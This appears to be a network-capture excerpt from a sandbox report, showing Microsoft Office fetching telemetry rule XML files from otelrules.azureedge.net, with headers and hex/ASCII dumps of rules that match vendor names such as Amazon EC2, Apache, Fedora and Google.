2024-11-24 04:11:39 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:39 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041139Z-174c587ffdfb74xqhC1TEBhabc00000003wg00000000d335 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:41 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041141Z-178bfbc474bxkclvhC1NYC69g400000005c0000000009mph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:41 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:41 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9aadc8db-201e-000c-3931-3c79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041141Z-178bfbc474bmqmgjhC1NYCy16c00000005eg00000000eg31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:42 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:41 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:41 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041141Z-15b8b599d88pxmdghC1TEBux9c00000003yg00000000h40a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:41 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 98e24ef8-f01e-0052-0940-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041141Z-15b8b599d88hr8sfhC1TEBbca400000003qg00000000h2v2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:42 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:41 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:42 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041142Z-178bfbc474brk967hC1NYCfu60000000057g000000009r5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:43 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041144Z-174c587ffdfcj798hC1TEB9bq40000000440000000005afd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:43 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041144Z-174c587ffdfks6tlhC1TEBeza40000000410000000005yuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:43 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041144Z-174c587ffdf6b487hC1TEBydsn00000003x0000000004mzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:43 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:44 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041144Z-178bfbc474bwlrhlhC1NYCy3kg00000005a000000000p1y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041144Z-15b8b599d88s6mj9hC1TEBur3000000003ug000000002e9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
